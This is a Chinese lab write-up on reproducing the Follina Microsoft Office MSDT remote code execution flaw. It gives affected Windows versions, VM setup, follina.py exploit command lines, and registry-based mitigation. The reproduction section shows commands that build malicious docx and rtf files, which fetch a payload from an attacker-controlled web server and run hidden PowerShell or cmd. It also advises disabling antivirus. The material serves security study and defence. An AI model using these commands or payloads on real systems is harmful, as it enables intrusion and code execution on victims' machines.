900字范文,内容丰富有趣,生活中的好帮手!
900字范文 > MICROSOFT OFFICE MSDT操作系统命令注入漏洞(CVE--30190)

MICROSOFT OFFICE MSDT操作系统命令注入漏洞(CVE--30190)

时间:2020-02-13 14:39:13

相关推荐

MICROSOFT OFFICE MSDT操作系统命令注入漏洞(CVE--30190)

目录

漏洞概述

受到影响的产品和版本

漏洞复现

1、搭建靶场

2、攻击复现

一、执行系统程序

二、执行系统命令

修复

漏洞概述

Microsoft Windows Support Diagnostic Tool是美国微软(Microsoft)公司的收集信息以发送给 Microsoft 支持的工具(Windows上的微软支持诊断工具中存在此漏洞)。当从Word等应用程序使用 URL 协议调用 MSDT 时存在远程执行代码漏洞,攻击者通过制作恶意的Office文档,诱导用户在受影响的系统上打开恶意文档后,在宏被禁用的情况下,仍可通过 ms-msdt URI执行任意PowerShell代码,当恶意文件保存为RTF格式时,无需受害者打开文件,即可通过资源管理器中的预览窗格在目标系统上执行任意代码。

受到影响的产品和版本

Windows Server R2 (Server Core installation)

Windows Server R2

Windows Server (Server Core installation)

Windows Server

Windows Server R2 for x64-based Systems Service Pack 1 (Server Core installation)

Windows Server R2 for x64-based Systems Service Pack 1

Windows Server for x64-based Systems Service Pack 2 (Server Core installation)

Windows Server for x64-based Systems Service Pack 2

Windows Server for 32-bit Systems Service Pack 2 (Server Core installation)

Windows Server for 32-bit Systems Service Pack 2

Windows RT 8.1

Windows 8.1 for x64-based systems

Windows 8.1 for 32-bit systems

Windows 7 for x64-based Systems Service Pack 1

Windows 7 for 32-bit Systems Service Pack 1

Windows Server (Server Core installation)

Windows Server

Windows 10 Version 1607 for x64-based Systems

Windows 10 Version 1607 for 32-bit Systems

Windows 10 for x64-based Systems

Windows 10 for 32-bit Systems

Windows 10 Version 21H2 for x64-based Systems

Windows 10 Version 21H2 for ARM64-based Systems

Windows 10 Version 21H2 for 32-bit Systems

Windows 11 for ARM64-based Systems

Windows 11 for x64-based Systems

Windows Server, version 20H2 (Server Core Installation)

Windows 10 Version 20H2 for ARM64-based Systems

Windows 10 Version 20H2 for 32-bit Systems

Windows 10 Version 20H2 for x64-based Systems

Windows Server Azure Edition Core Hotpatch

Windows Server (Server Core installation)

Windows Server

Windows 10 Version 21H1 for 32-bit Systems

Windows 10 Version 21H1 for ARM64-based Systems

Windows 10 Version 21H1 for x64-based Systems

Windows Server (Server Core installation)

Windows Server

Windows 10 Version 1809 for ARM64-based Systems

Windows 10 Version 1809 for x64-based Systems

Windows 10 Version 1809 for 32-bit Systems

漏洞复现

1、搭建靶场

Office的漏洞环境需要在虚拟机(靶机)上运行!

注意:

1、虚拟机要关闭所有杀软!

2、一定要用纯净版的win10(不含有任何office版本的,有的话要先卸载感干净)!!

先安装.NET6.0

再安装Office Tool Plus.exe

如果先安装Office Tool Plus的话,环境不是.NET6.0会显示报错(也可以在这按照提示下载安装.NET6.0):

点是,会自动跳转出链接,并自行下载,如果在30内没自动下载,可手动点击下载入口

双击运行安装

这回再双击运行Office Tool Plus.exe文件,弹出下面界面说明.NET安装成功了

点是

点更新

进入后,点部署

搜索需要搭建的office

部署

会有如下显示,在自行下载,等待即可

出现如下界面说明安装成功了

激活:

安装许可证

2、攻击复现

在物理机(攻击机)上解压payload和远控工具。

注意:要关闭杀软,且要把payload放到definder设置的排除项里!

Payload目录原始文件如下(使用的是follina.py-main这个payload)

当前目录打开cmd

此脚本使用方法:

$ python .\follina.py -h

usage: follina.py [-h] -m {command,binary} [-b BINARY] [-c COMMAND] -t {rtf,docx} [-u URL] [-H HOST] [-P PORT]

解析:

options:

-h, --help 显示此帮助消息并退出

# 执行一个本地二进制程序

python .\follina.py -t docx -m binary -b \windows\system32\calc.exe

python .\follina.py -t docx -m binary -b\\\\localhost\\c$\\Windows\\System32\\calc.exe

# 在linux上,你可能需要转义反斜杠

python .\follina.py -t rtf -m binary -b \\windows\\system32\\calc.exe

# 从文件共享中执行一个二进制文件(可以用于farm 哈希)

python .\follina.py -t docx -m binary -b \\localhost\c$\windows\system32\calc.exe

# 执行任意powershell命令

python .\follina.py -t rtf -m command -c "Start-Process c:\windows\system32\cmd.exe -WindowStyle hidden -ArgumentList '/c echo owned > c:\users\public\owned.txt'"

# 在默认接口(所有接口,0.0.0.0)上运行web服务器,但告诉恶意文档在http://1.2.3.4/exploit.html上检索它

python .\follina.py -t docx -m binary -b \windows\system32\calc.exe -u 1.2.3.4

# 只在本地主机上运行webserver,在端口8080而不是80上运行

python .\follina.py -t rtf -m binary -b \windows\system32\calc.exe -H 127.0.0.1 -P 8080

一、执行系统程序

使用脚本创建一个含有溢出攻击的word文档(我是两台机器分开的,所以用的远程连接)(我用管理员身份运行的)

python .\follina.py -t docx -m binary -b \windows\system32\calc.exe -u 192.168.203.1

注意,当前机器若有杀软,会检测到并自行删除,要立刻找回文件

新生成的文件如下:

可用靶机的浏览器访问IP看是否能正常访问网站

把这个文件放入靶机

在靶机上双击运行,什么都不用做,等待即可,会弹出计算器:

此时攻击机会自动出数据:

二、执行系统命令

# 执行任意powershell命令

python .\follina.py -t rtf -m command -c "Start-Process c:\windows\system32\cmd.exe -WindowStyle hidden -ArgumentList '/c echo owned > c:\users\public\owned.txt'" -u 192.168.203.1

建里连接,并生成rtf文件

把rtf文件放入靶机,双击运行,连接成功

去靶机对应目录中可找到文件

注意:

1、如果双击文件后,出现如下界面,且没反弹出计算器的话,说明此office版本无此漏洞,或者是因为office还有其他版本同时运行,干扰复现结果:

2、rtf文件选中就可以反弹出计算器,但我没复现成功,可能是版本原因

3、此漏洞还可以反弹shell

待下次有空时再复现

漏洞产生原因:

msdt.exe 是微软支持诊断工具,此工具功能是默认打开的

修复

禁用MSDT URL协议

以管理员身份运行命令提示符

备份注册表项后,执行命令:reg export HKEY_CLASSES_ROOT\ms-msdt filename

再执行命令:reg delete HKEY_CLASSES_ROOT\ms-msdt /f

若需要撤销禁用则

用管理员身份打开cmd执行:reg import filename

受本次 RCE 影响的Office版本目前不便统计,且暂无官方补丁,由此判断:该漏洞后续被利用的可能性较大。鉴于本次漏洞影响十分广泛且危害较大,给出下列建议:

谨慎下载及打开来源不明或内容可疑的文档;

关闭资源管理器的文件内容预览功能;

更新终端防病毒程序(及)病毒库;

禁用ms-msdt功能,并取消对应的rtf文件类型关联。

参考

/t0410ch/article/details/126388724

#复现视频

/s/video/BV1LY4y1z7LZ

#代码分析,反弹shell,但脚本不行,要在靶机上生成一个exe文件,且不能自动删除

/qq_45894840/article/details/12563

#漏洞分析与脚本使用(用的最多的),进程分析

/bonelee/p/16337291.html

#脚本分析

/q20010619/article/details/125159141

#实现远程命令执行反弹shell参考

/qq_45894840/article/details/12563

#构造攻击文档,构造钓鱼附件

https://cn-/archives/1109268.html

#构造宏附件钓鱼邮件

/q20010619/article/details/121661703

#分析攻击代码

/post/7106291983701770277#heading-1

#攻击payload

/chvancooten/follina.py

https://422926799.github.io/posts/e94de9d7.html

注意:

所有文章,仅供安全研究与学习之用,后果自负!!

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。